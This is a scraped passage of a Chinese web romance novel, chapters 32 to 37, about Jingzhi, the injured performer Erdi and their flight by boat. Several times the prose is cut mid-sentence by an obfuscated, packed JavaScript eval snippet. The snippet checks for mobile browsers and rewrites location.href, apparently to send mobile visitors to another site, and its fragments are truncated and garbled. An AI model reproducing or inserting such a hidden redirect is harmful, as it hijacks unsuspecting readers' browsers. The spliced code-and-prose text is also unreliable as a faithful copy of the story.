望着二娣熟睡中的背影,静之的脑海里突然浮现出临睡前他所说过的那些话语。 那句不喜欢,犹如一把利剑,轻易地刺穿了她心底最柔软的角落。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086486|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不知不觉间,泪水悄无声息地涌上了眼眶,她的眼中悄然浮满了无法言说的痛意。 可是,尽管心痛不已,她却不忍他就这样睡着。 她动作极其轻微,以求不发出一点声音悄悄下了床。 刚一落地,一阵天旋地转,她不自觉的晃动了两下身子,只感觉头重脚轻的很。 她赶紧一手撑住床板,堪堪稳住身子,一股恶心的感觉却直冲喉头。 她咽了口唾沫压下翻腾着的胃酸,然后放轻步子走到他床的另一侧,捡起落到地上的被子轻轻掸了掸,才给他盖上。 望着他那张苍白如纸的睡颜以及微微干裂、毫无血色的唇瓣,静之心头不禁又浮起了一抹难以言喻的疼惜之情。 但此刻却再也不敢轻易去触动他分毫。 就这样静静地站在床边凝视了许久。 终于,她抬起冰凉的小手,落在了他床头那块刻有一个红色“娣”字的木板上,轻轻摩挲着。 不知过了多久,仿佛下定了某种决心一般,她最后深深地望了一眼床上沉睡中的他,这才迈着虚浮的脚步,走向班主的床铺。 来到近前后,她小心翼翼地伸出手,轻轻摇晃着班主的肩膀,试图将其唤醒。 刚才那场梦境中所出现的那两个人,毫无疑问正是倪飞身边的两名护卫。 还记得在离开那家酒楼之前,他们看向自己和二娣的眼神,冰冷而充满杀意,简直就像是在注视着两个死人。 她无论如何也不相信,他们会如此轻而易举地就放过她们。 班主睡得正香,突然间感觉到有人在晃动自己,迷迷糊糊地睁开眼睛。 这章没有结束,请点击下一页继续阅读! 第32章 身份被发现 她的耳朵动了动。 那哀嚎声,甚是熟悉。 是……梁赞! 静之瞳孔一缩,难道……他们这么快就来了? 她一抹嘴巴,撑着膝盖站起,从后门绕了出去,贴着墙小心翼翼来到哀嚎声附近。 等到看清状况以后,她忍不住啧了一声。 只见不远处,一身黑衣的通财正拿着白蜡棍子对着他家少爷猛敲,梁赞一时不察,被打得四处逃窜。 静之翻了个白眼,扬声道: “别玩了,这个时候还搞这出!赶紧回来收拾东西,我们要走了!” 说完,也懒得去看那两个傻子,她捧起旁边水缸里的清水洗了把脸又漱了漱口,然后径直去了内室。 她站在门口她的小床旁边,远远望着那个角落,见他还睡着,她松了口气。 她心里暗自琢磨着,还是先把行李收拾妥当之后,再去唤醒睡梦中的二娣。 说干就干,只见她迅速地蹲下身子,伸手拿起一块干净的布料,动作麻利地收拾起衣物来。 就在她专心致志整理衣物之时,突然间,又听到屋外传来几声哀嚎。 静之用力地磨了磨自己的后槽牙。 她不用多想也能猜到,肯定又是那两个傻子。 尽管心中有些烦躁,但她手上收拾东西的动作丝毫没有停顿。 没过多久,她不仅将自己的衣物整齐地叠放进包裹之中,就连平日里偷偷积攒下的小金库也小心翼翼地藏在了里面。 随后,她将这个沉甸甸的包裹斜系在自己背上。 做完这些后,她蹑手蹑脚地朝着二娣睡觉的地方靠近过去。 当她走到床边,刚刚伸出手准备推动二娣的肩膀,想要叫醒他时,脑海中忽然闪过一个念头: 他这会儿身体还虚着呢,怎么能让他自己动手收拾行李呢? 想到这里,她无奈地叹了口气 于是又任劳任怨做起了老妈子,伏在他床里侧,开始帮他打包。 他的衣服,收。 他的蒲扇,收。 他的小茶壶,收。 这什么,唔,闻闻,金疮药?收。 他的化妆品……收。 等她打包完毕,胸前又多一个大包裹时,刚想直起身子,突然眼尖的看到床底深处有一个方形阴影。 她抬头看了一眼二娣,他好似没睡好的样子,眼皮轻微抖动着,眼珠子也不时转动一下,却是还未醒。 她吞了口唾沫,觉得好像发现了他的小秘密似的,心跳开始慢慢加快。 于是,她蹲了下来,因为激动而微微颤抖的小手伸了出来,缓缓探进床底,摸了半天,没摸着。 她低头一看。 靠,还差一点。 于是她把头钻进去一点点,努力伸长了手去够那个盒子。 是的,一个木盒子,款式精美,各个角都包裹着金色的铜皮,盖子正前方居然还落了把锁。 静之猜测,这不会是……臭弟弟的小金库吧?! 那肯定要带走的啊! 正当她伸到手指都快抽筋的时候,指尖终于触到一丝冰凉,她面色一喜,刚挪动着手指要把它勾出来的时候,一具身体突然趴在她背上,覆住她的同时,一声闷哼传入耳际。 静之刚回了一点头,一缕寒光瞬间映入眼帘。 是……刀光?! 那她背上的是……二娣?! 还未来得及思考,二娣已经抱着她一个翻滚躲过一刀。 她刚昂起头,一把利刃朝她脖间挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086487|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过来,她下意识一个后仰躲过一击,鼻尖却突然闻到一股血腥味。 她侧头一看,二娣背部已然被划了一刀,雪白中衣破了个口子,他背部的皮肉已然绽开,鲜红的血液渗透衣服淌了一背。 刚看一眼,几个黑衣人突然手持利刃冲了过来,静之又心疼又气,索性搀着二娣,一脚踩住床板一侧,床板受力翘起,她顶着床板掩住两人,躲过挥来的数刀。 刀锋砍在木板上发出清脆的敲击声,静之眼尖的发现,木板有几处已经被穿透,隐隐有刀尖透了过来。 这床板撑不了多久了! 二娣无力说着:“你走!” 见侧边有一黑衣人又是一刀砍了过来,他打起精神,一个转身,一脚踢飞。 脚还未收回,静之便瞧见有道刀光对准他的腿挥去,她下意识把床板右移挡住他的腿。 “哐!” 那把利刃死死卡在床板上,离二娣的腿仅有一寸之遥,却再不能寸进一步。 眼瞅着那把刀即将被黑衣人拔出,静之顺势把床板往他们的方向用力一推,然后拉着二娣转身就跑,边跑还边说着: “走也要带上你!” 只可惜二娣受伤了跑得实在快不起来,尽管拼尽全力朝着化妆间奔去,但依旧未能摆脱身后穷追不舍的黑衣人。 就在他们刚刚抵达化妆间门口时,那如鬼魅般的黑影便已然追到了近前。 二娣见状,猛地用力甩开静之抓住自己的手,旋即毫不犹豫地迎上前去,与这两名气势汹汹的黑衣人展开搏斗。 经过半宿时间的休憩调养,二娣原本因过度劳累而 导致的气喘症状已经得到了一定程度的缓解。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第33章 别叫他阿赞 那怎么不叫她阿静,或者阿之? 难道她对他还不够好吗? 她暗暗剜了一眼梁赞,蹲下身子解开他的包裹找药,她记得她刚刚有收一瓶金疮药的。 包裹一解,里面齐齐整整都是他常用的东西,二娣眸色一深,骤然转过身去,不敢再看。 再看一眼,他都怕他心神松懈,就接受她了。 见他抗拒的样子,静之鼻子又是一酸。 他这是……嫌弃她了吗? 她快速找到那个白色塞着个红色布条子的小瓷瓶,然后把东西往梁赞手里狠狠一塞,又对着二娣的后脑勺冷哼一声。 梁赞刚想把船撑给她,她咬咬牙又把瓶子夺了回来,然后无声对梁赞做了口型: “划!” 梁赞起初确实被她突然的变身吓得不轻,但很快就回过神来了。 他跟她接触不久,但知道她本性不坏,所以心中的恐惧也就渐渐消散了。 只见他潇洒地耸了耸肩,脸上露出一抹无奈的笑容,然后拿着船撑,缓缓站起身来,朝着船尾走去。 来到船尾后,梁赞稳稳地握住船撑,一下接一下地慢慢划动着。 随着他的动作,小船开始缓缓移动起来。 见船动了起来,二娣以为是静之去划船了,紧绷着的背部终于得以放松,他长长舒出一口气。 他解开胸前的扣子,微微弓着背,将上衣朝两侧揭开,往后一掀,衣服缓缓后溜下来,当衣服擦过他身上的伤口时,一阵钻心的疼痛袭来,让他忍不住倒吸一口凉气,额头上瞬间又冒出了一层细密的汗珠。 此时他的背一片狼藉,除了血迹,就是汗渍,后脖颈之间更是沾染上了不少黑色的烟灰。 令人意外的是,尽管如此狼狈不堪,他腰间两侧干净的肌肤却依旧紧实白皙,在皎洁的月光和晶莹的汗水映照之下,竟然还微微闪烁着淡淡的光芒。 静之不经意间瞥见了这一幕,仅仅只是匆匆扫了一眼,她便急忙抬起头,目光直直地落在二娣肩胛骨正中间那道狰狞可怖的刀伤上。 此时此刻,她的心里没有半分旖旎的念头,只是觉得他好瘦。 阿风都够瘦的了,他比阿风还瘦。 真是……小可怜。 她悄悄打开自己的包裹,掏出干净的白色布巾,动作轻了再轻,帮他擦着伤口周围的脏污和血迹。 布巾触碰到他皮肤的一瞬间,他脊背一挺,精致的肩胛骨瞬间动了动: “阿赞,怎么不直接上药?” 见梁赞捏着船撑慌张的回过头,支支吾吾的样子,静之瞬间一个眼刀过去,又做了个口型: “回他。” 梁赞抿了抿嘴,两指捏了捏嗓子,掩住紧张的情绪,俯下身凑过头到二娣身后: “哎呀,上药我很有经验的,伤口周围擦干净再上药嘛,才不会发烧,很快啊,很快就好!” 二娣暗暗叹了口气: “那你快点。” 他的耳根子渐渐泛起一丝红意。 就算是戏子,他也从未在女子面前袒胸露背的,只是后背的伤再不处理的话,他看他是撑不过今晚了。 他就怕……时间久了,她会回头看他。 一想起这个,他耳根子的那抹红意更上一层楼,苍白的脸上悄然浮上了两朵红云。 就在他毫无防备之时,静之敏锐地捕捉到了这一绝佳时机。 只见她动作迅速而轻柔,拿起一块干净的布巾,小心翼翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086488|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地擦拭着他宽阔的后背。 每一个细微的动作都充满了关切和温柔,仿佛生怕弄疼了他一分一毫。 待背部被擦拭得干爽洁净后,静之又轻轻地打开了那个精致的瓷瓶。 随着瓶盖开启,一股淡淡的草药香气飘散而出。 她用纤细的手指捏起一小撮浅黄色的药粉,极为谨慎地将其倾倒在他那狰狞可怖的伤口之上。 当那细腻的药粉接触到绽开的皮肉时,一阵剧烈的刺痛犹如闪电般沿着神经末梢,直直冲向大脑。 这突如其来的剧痛,让他不由自主地从喉咙深处发出一声低沉的闷哼。 仅仅是片刻之前才擦干的背部,此刻却因为疼痛再次被逼出了一层薄薄的细汗。 下一秒,二娣却迅速紧咬着牙关,死死忍住呼之欲出的痛呼。 他怕,被撑船的静之察觉。 此时他的腮帮子,因为他的动作都微微鼓起,整个人绷得如同拉紧的弓弦一般。 脖颈间的青筋更是因用力过度而不停地跳动着,清晰可见。 静之一眼就看出了他所承受的巨大痛苦,心中顿时涌起无尽的怜惜。 她情不自禁俯下身子,靠近他的伤口。 朱唇轻启,呼出的气息如春风般轻轻柔柔,不断吹拂在那受伤的地方。 手中又加快速度撒着药粉,以求减短他受苦的时长。 每当那微凉的气息掠过伤口时,二娣都会感到一阵难以言喻的酥麻感,就连手臂上也不自觉地泛起了一层又一层密密麻麻的鸡皮疙瘩。 “阿赞,不用吹,上好了吗?上好了,直接用纱布裹起来就行。” 本小章还未完,请点击下一页继 续阅读后面精彩内容! 第34章 别扭的二娣 等梁赞游够了,从水里钻出头来的时候,发现他娣哥跟静之两人,一个坐船头,一个坐船尾。 他娣哥依旧背对着她,披着件衣服,一手撑着脑袋,正在闭目养神。 而静之则是抱着腿,看着不知道从哪儿翻出来的书,一副要钻进书里去的样子。 他忍不住啧了一声。 这一声,却被静之听到了。 她回过头去悠悠看了他一眼说: “游爽了没?上来了,我们该去码头了。” 梁赞嘻嘻一笑,指了指她手中的书: “看什么呢?” 静之又把头埋进书里: “医书。” 梁赞愣了一下,又悄悄瞄了一眼船头的人。 果然,他娣哥这一下背都打直了,还装模作样的拢了拢肩上的外套。 ……嘁,别扭哥。 梁赞轻轻地扯了扯静之的衣袖,眼神中透露出一丝调皮。 静之缓缓地将头从书中钻出来,目光落在梁赞身上。 梁赞见状,脸上立刻浮现出一抹无声的嘿嘿笑容,又挤眉弄眼的,他伸出手指先是指向了一旁的二娣,然后又指向了船中间的那个空位,并压低声音说道: “你呀,还是坐到中间去吧,我马上就要上船啦,要是不小心把水溅到你身上,可就不好咯!” 听到这话,静之轻轻地点了点头,又看了一眼二娣,才应道:“……哦。” 说罢,她小心翼翼地用双手紧紧把住船舷的两侧,努力让自己的身体尽量伏低一些,同时缓慢而谨慎地向前挪动着脚步,试图减少船只因为她的动作而产生的摇晃。 然而,尽管她已经如此小心,但那一点点轻微的左右晃动还是没能逃过前方那个人敏锐的感官。 此刻,前面那人像是突然被施了定身咒一般,整个人瞬间变得僵硬无比。 他原本用来拢紧外套的两只手,更是不自觉地加大了力道,将外套边缘的布料捏得扁扁的,仿佛要将其揉碎一般。 当静之好不容易挪到船的中段时,甚至还没来得及坐稳,那人便像只受惊的兔子一般,猛地又往前坐了坐。 这下可好,他的整个屁股几乎都快要悬空到横向的木板外头去了。 她一见他这恨不得学梁赞一样,一头扎进水里去的样子就有气,好像她是什么洪水猛兽似的。 她对他圆润的后脑勺去了个白眼,咬着牙说: “我会信守承诺,你好之前,不会再接近你的……再往前挪,小心掉水里去。” “…………” 二娣听到这话后,一时间竟不知如何回应。 他只是默默地垂下眼眸,凝视着那被摇晃的小船搅动而出的一圈圈涟漪。 心中因为静之刚才所说的那句话,不由自主地涌起一股难以言喻的感觉。 那种感觉里,似乎既有几分难堪,又夹杂着些许微不可察的失落。 而此时的静之,见二娣再次沉默不语,眼神不由得黯淡了下来。 不过,仅仅过了不到一秒钟,她便迅速重新振作起精神来。 她重新拿起手中卷着的医书,借着皎洁的月光仔细翻阅起来。 “哗!” 梁赞双手一撑船尾,突然猛地向上一跃,这突如其来的举动,惊得船头正在走神的二娣以及专心致志看书的静之都手忙脚乱地按住船舷两侧,努力稳住船身以免翻倒。 “梁赞!!”静之怒吼。 “嘿嘿,走啦走啦!” 梁赞朝河里拧了拧下摆的水,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086489|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿起倚靠在一旁的船篙,将其插入水中轻轻地左右摆动起来。 就这样,原本停滞许久的小船终于再度缓缓向前移动。 边滑,梁赞嘴里还不停地问道: “咱们要去哪儿啊?前面可是有条岔道哦。” 静之还未说话呢,二娣就跟个导航似的,淡淡的说: “往右,去码头。” 他怎么知道要去码头? 难道她跟班主聊天的时候……他没睡?? 那她给他盖被子,在他床头站这么久,甚至还偷偷摸摸摸他的牌子的事儿,他都知道啦? 静之越深想,越觉得有股子热意直往脸上涌去。 “好嘞。” 梁赞可不管她在想什么,他提起船篙换了个方向,轻轻一划,船拐了个弯,往右去了。 边划,他还不忘跟恨不得把脸贴在书上的静之侃侃大山: “诶,你这书哪儿来的?” 静之把烧红的脸藏进书里,又指了指她脚边二娣的大包裹。 梁赞撇嘴,既然是他娣哥的书,那他娣哥一定是看过了,他都找不到治疗的方法,她怎么可能找得到嘛。 正当他思考的时候,静之突然书本往膝盖上一放: “坏了,你家通财呢?” 梁赞一拍脑门: “哎呀,我给忘了!” 他叹了口气,望了望水面,情绪突然变得低落: “后有追兵,回去也不现实,只能求老天爷保佑他了。” 静之:“哦。” 见他面色不好,静之也不好再问。 刚把头埋进书里两秒,突 然又啪的一声把书放下: 这章没有结束,请点击下一页继续阅读! 第35章 情之一字 梁赞可没空管他那些小心思,一根船蒿撑得飞起,再加上顺流而下,他们的小船就像离弦的箭直奔目的地。 可能是水上风大,期间二娣哮喘又发作了两次,静之当下便决定,弃小船换大船。 他们寻了个人少的港口上了岸,又购买了一些生活物资,还帮二娣捡了些药,这才去换乘了大船。 许是吹了许久的风,也有可能是二娣背上的伤,导致他免疫力下降。 他一连喝了好几天药了,哮喘却久久未见缓和,整个人还虚的不行,一天就瘫在床上,给静之急得嘴角直冒起了小泡泡。 梁赞为了贴身照顾二娣,选择与二娣同睡一间。 而此时他却在静之房间里,一脸复杂地看着她。 “你确定这样……有用?” 他看着面不改色,划破自己手心往竹筒的药里放血的静之,有狐疑,也有几分感慨。 他娣哥什么时候能勇敢一点,人家小姑娘都这样对他了…… “你别管,试试再说。” “你这……” “再不这样,你娣哥可能没到乡下就挂了,你看看他现在憔悴的样子!” “……好。” …… 过了好一阵子,梁赞才小心翼翼地捧着一个还散发着些许热气的竹筒杯子,缓缓走进了二娣的房间。 他轻手轻脚地走到二娣的床边,然后坐了下来,生怕弄出一点声响惊扰到床上那脆弱得仿佛一碰就会碎掉的人儿。 梁赞伸出手,轻柔地推了推二娣的肩膀,同时轻声呼唤道: “娣哥,娣哥醒醒,起来喝了药再睡。” 二娣原本睡得并不安稳,听到梁赞的声音后,他努力地撑开那沉重如铅块般的眼皮。 由于长时间没有得到充分的睡眠,他的双眼显得异常酸涩,眼球周围布满了密密麻麻的血丝,就像一张红色的蜘蛛网。 他向来都是浅眠之人。 自从受伤以来,后背伤口传来的阵阵剧痛、船只随着海浪不断摇摆产生的颠簸以及胸口那股令人窒息的憋闷感,如同三座大山,轮番折磨着他的身体。 这些痛苦交织在一起,使得他夜夜难眠。 短短几天时间过去,他整个人看上去越发苍白憔悴,身形也消瘦了许多。 曾经那双凌厉无比的眼睛,如今竟深深地凹陷进眼眶里,失去了往日的光彩与神采。 看着这样的二娣,梁赞第一次由衷赞同刚刚静之的做法。 行不行……就看这一次了! 他扶着二娣慢慢坐起身子,又快速从旁边抽过他的枕头放在二娣身后靠着,这才将竹筒的盖子啵的一声打开。 盖子乍一掀开,一股浓厚的中药味瞬间弥漫到空气中。 今日这药散发出来的气味......似乎与往日有所不同? 他轻嗅着空气中那股异样的味道,喉咙里不由自主地发出一阵低沉的闷哼: “嗬……咳咳咳!” 随着咳嗽声响起,他的身体也跟着颤抖起来。 好不容易止住了咳嗽,他抬起头,目光疑惑地望向梁赞,声音沙哑地问道: “阿赞,这药...咳...怎么会有股血腥味呢?” 听到二娣的问话,梁赞心头猛地一颤,手也跟着猛地一抖。 那装着药水的竹筒险些就因为他这突然的抖动而失手打翻在地。 此刻,他的脑海中犹如刮过了一场风暴,纷乱如麻,让他一时之间竟然不知该如何回答。 心中不禁暗暗叫苦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086490|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不迭。 他娣哥都这样了,还是这么敏锐! 见二娣一脸狐疑地望过来,他睁大了眼轻咳了一声,嗫叭着嘴,硬是挤出个理由: “我,我刚刚处理药材的时候,不小心切到手了。” “……是吗?我帮你包扎。” “不用不用,我自己包好了,再说了,两个大男人拉拉扯扯的也不好。” 梁赞假装把自己的左手往身后藏了藏,又后仰身子,装出一脸“我不搞基,别想掰弯我”的表情给二娣看,直给二娣看得都忘记咳嗽了,胸口倒是气得有些剧烈起伏。 他愣了一秒,没好气的夺过梁赞手里的竹筒,力道有些大,药汁都溅了一些出来,给梁赞看得心疼的不行。 啊,小点力! 那可是你心上人的血!! 他用右手赶紧一起扶稳二娣手中的竹筒,又使了点力往他嘴巴上推: “快喝,凉了药效就不好了。” 二娣本来不想喝的,连喝几天都没好,他都想放弃算了。 他以为,他就快要死了,这几天,连带着对静之的态度也冷淡了不少。 可是,一听到梁赞竟是连手都剌破了,他也不好意思不喝。 于是鼻息之间长长出了一口气后,这才垂眸轻轻吹去药汁上的热气,一口一口将罐中的药饮尽。 “给你。” “好好好,你先睡会。”梁赞接过空竹筒,一颗心算是放了下来。 他扶着二娣又躺下,却是没有出去,而是躺回自己床上,闭眼假装睡觉。 二娣侧头瞄了他一眼,想说他可能是操劳累了,要歇一会儿,也没理他 。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第36章 称呼改变 “喏,给你,快带上。” “……这什么?” 静之直勾勾地盯着梁赞手中拿着的东西,眼神里充满了迷茫和困惑,一时间竟然有些不知所措,站在原地愣是没伸手去接。 梁赞见状,不禁咂巴了下嘴巴发出啧的一声响,随后不由分说地将那东西硬塞进了静之的手中,并伸出手指向前头正在带路的二娣,刻意压低嗓音说道: “这可是蚕丝手套啊!你之前不是一直担心被他发现吗?赶紧戴上吧!” 静之缓缓摊开自己的手心,目光落在那一道道已经结了痂的伤疤上。 那些伤疤一条接着一条,歪歪斜斜的,模样甚是难看,可以说是丑陋至极。 就这样静静地看了许久,过了好一会儿,她才如梦初醒般轻轻地点了点头,表示明白了梁赞的意思。 就在这时,原本在前头领路的二娣忽然停下脚步转过头来。 这突如其来的举动可把静之吓得不轻,她慌乱之中紧紧捏住那两只手套,以迅雷不及掩耳之势将双手迅速地藏到了背后。 “你们两个干什么呢?还不快跟上来?马上就要到了!” 二娣一边说着,一边用他那锐利的目光快速扫过正假装若无其事地东张西望的梁赞,最后定格在了脸色略显苍白、嘴唇紧紧抿成一条线且眼珠子滴溜溜乱转的静之身上。 不知怎的,他觉得静之的脸色好似有些苍白得过分。 想到这儿,二娣不由得微微皱起了眉头,随即转过身朝他们二人快步走来。 见此情景,静之像是一只受惊的兔子一般,猛地向旁边横跨出一大步,身子一闪便躲到了梁赞的身后。 与此同时,她手忙脚乱地开始往手上戴着手套,生怕被二娣给瞧见了。 “……做什么呢?” 他半阖着眼冷冷看着跟个大柱子一样,杵着的梁赞,不禁觉得他有些碍眼。 她与梁赞…竟是有了他不知道的小秘密? 这个念头一旦滋生出来,他的拳头就有些发痒,忍不住想砸到梁赞那张大脸上。 梁赞看他走过来,硬着头皮左右挪动脚步,还顺便展开双手,死死围住他,一脸讪笑: “娣,娣哥,女孩子嘛,都有些小秘密的,你管人家呢。” 他又伸长了脖子凑到二娣耳边悄悄说: “你不是说要对人家好点的吗?你倒是行动啊!” 二娣后退了一步,看着他身后挡不住翘起的那缕白色发丝,不禁觉得脸有些发烫。 他没有再往前了,只是站在原地,别过脸,微微点了点头。 在他害羞的当口,静之已然快速戴好手套,从梁赞身后走了出来。 “走吧,带路。” 虽带上了手套,她还是有些害怕,双手不由自主地背到了身后,随后又朝着二娣扬起了尖尖的下巴。 二娣先是瞥了一眼站在她身旁对着自己挤眉弄眼、一脸坏笑的梁赞,接着清了清嗓子,默不作声地向前迈了一小步,来到静之面前,压低声音轻柔地说道: “好的……小,小之。” 话音刚落,静之和梁赞两人像是被施了定身咒一般,同时扭头瞪大了眼睛看向他,脸上满是惊愕之色。 静之呆呆地凝视着眼前这个男人那不再刻意隐藏、犹如春水般温柔的眼眸,只觉得原本已经渐渐干涸、毫无生机的心间,忽然传来“啵”的一声轻响,宛如一朵娇嫩的小花在瞬间绽放开来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086491|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这段日子以来,二娣有意无意地和她保持距离,让她都有些PTSD了。 面对二娣突如其来的亲昵称呼,她简直不敢相信自己的耳朵。 难道说,经过这么长时间的等待和煎熬,他终于愿意敞开心扉,准备接纳自己了吗? 想到这里,静之的鼻子不禁微微发酸,但紧接着,一抹灿烂如花的笑容便在她的嘴角迅速蔓延开来。 晶莹的泪花在眼眶里打转,使得她那双原本就明亮动人的双眸愈发璀璨夺目: “再叫一遍。” 二娣被她的笑和眼里的情意闪了一下,脸上有些烧得慌,于是迅速别过头去,支吾了半天,好不容易才将含在嘴里,藏在心里已久的亲昵称呼又呢喃出声: “……小之。” 刚唤完一声,他只觉得从自己口中吐出的这两个字犹如蜜汁一般,丝丝缕缕地渗进了心窝里,让他的心口直发甜。 那种甜蜜的感觉如同春风拂过湖面,泛起层层涟漪,甜得他心头好似有头小鹿在四处乱撞,令他情不自禁地微微勾起了嘴角。 而此时的静之却仿佛没有听够似的,莲步轻移,往前迈进一步。 然而就在瞬间,她似乎又想起了什么,急忙又向后退了两大步。 她的眼神直勾勾地盯着他侧脸旁边那透着红晕的耳垂,小嘴微张,期期艾艾地说道: “再叫一声……好不好嘛?” 见到她这般后退,二娣的眼神也是倏地一暗,原本还挂着浅笑的面容也变得有些僵硬。 下一刻,他猛地转过身去,迈开大步急速向前走着。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第37章 牵不牵? 飞起来的静之: 要死要死要死!!! 她本以为二娣调笑似的媚眼已经够劲儿了的,没想到一旦加上情意,那威力,简直是成倍的增长,她完全招架不住,以至于当场疾跑,甚至是飞着走了。 可真是……太丢脸了! 而且梁赞那又是什么话,他到底教二娣啥了? 静之有些期待,又有些害怕。 她怕一旦她深陷进去了,二娣他又突然抽身的话,那她……会生不如死的吧。 正这样想着,后面突然传来呼呲带喘的声音,和略带委屈地呼唤: “嗬……咳咳,小之,我跟不上你,咳咳,你慢点。” 还没回头,她就知道。 得,来了,小病秧子追上来了。 咋整? 不会是新招吧?她要不要接招? 正当她这样想的时候,后面突然没声儿了。 她眉头一皱,缓缓落到一棵大树下,一站定,正咬着牙,刚想转头看他要使什么花招的时候,耳边突然连他的呼吸声都听不到了。 静之心跳漏了一拍。 小病秧子……不会跑着跑着断气了吧?! “二……唔!” 她突然使了大力,直把他推得后退了两步,脸上轰的一声,红到发黑。 想退后拉开距离,却发现后面就是两手都圈不起来的大树树根,于是她后仰身子,一手向后紧紧抠住树皮,一手捂住自己的嘴: “你,你贴这么近做什么?” 梁赞那个臭小子,好的不教,专门教他这些? 二娣柔柔的看着她,抿了抿微微湿润的唇瓣,嘴角勾起一抹浅浅的笑意,而后慢慢伸出手,张开手掌,露出他手心的东西: “小之,给你。” 静之的视线落到他手心的几颗青枣一眼,又缓缓上移,落到他规律起伏的胸口,眼里突然闪过一丝愠怒: “你刚刚喘成那样,是骗我的?!” 不仅骗她,还故意站那么近,让她主动亲他?! 好你个梁二娣! 二娣不敢接茬,而是支支吾吾的,低着头,又把枣子往她的方向递了递: “天快黑了,你半天没吃东西了,给,给你吃。” 他要是不这样,她估计都不会停下来等他的吧。 梁赞说,小之吃软不吃硬,看来……果然是真的呢。 扣着头的脸,又扬起了微笑。 静之嘟着嘴,没好气的瞪他的光脑门一眼,一把夺过他手中的枣子,想了想,又掏出一半塞回他还未收回的手里。 二娣有些错愕: “你……” 静之转身找了个干净的凸起的树根坐下,捻起一颗随意往衣服上擦了擦,啃一口,边吃边说: “你什么,坐下一起吃。” 二娣横扫失落的心情,眼睛亮晶晶的,他快步走了过去,刚一屁股坐她旁边,静之手一抵树根,半站起来,一个转身就坐到离他一米远的另一树根上。 见他僵坐在原地,一脸惊讶和委屈,静之暗暗笑了一下,又轻咳了一下,面无表情说: “看什么看,吃你的。” “……好。”二娣有些食不下咽,吃一口,偷偷瞄她一眼,又吃一口,低头轻轻捏着自己衣角。 “啧,好好吃,不许偷看。” “……好。” 一时之间,二人之间的氛围竟有些融洽,静之看他乖乖吃着手里的枣子,也渐渐放下心来。 毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 